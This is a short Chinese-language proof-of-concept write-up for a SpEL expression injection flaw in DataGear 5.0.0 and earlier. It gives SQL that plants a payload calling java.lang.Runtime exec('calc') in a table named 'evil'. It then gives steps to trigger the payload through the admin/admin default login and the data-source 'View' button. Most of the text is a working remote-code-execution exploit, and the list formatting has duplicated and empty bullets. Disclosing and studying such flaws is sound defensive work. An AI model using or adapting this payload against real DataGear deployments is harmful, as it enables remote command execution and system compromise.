DataGear 5.0.0 及更早版本存在 SpEL 表达式注入漏洞,可导致远程代码执行。
CREATE DATABASE evil;
CREATE TABLE `evil` (
`name` varchar(209) COLLATE utf8mb4_unicode_ci DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
INSERT INTO `evil` VALUES ("#{T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')}");
-
- 登录 http://localhost:50401,默认账号密码为 admin/admin。
-
- 在架构添加界面中添加此 MySQL 数据库:
/schema/saveAdd
。
- 在架构添加界面中添加此 MySQL 数据库:
-
- 选择"数据源"—"数据源添加",填写刚才创建的恶意数据库地址。
打开刚才添加的数据库,然后单击"查看"按钮,将执行 SpEL 表达式。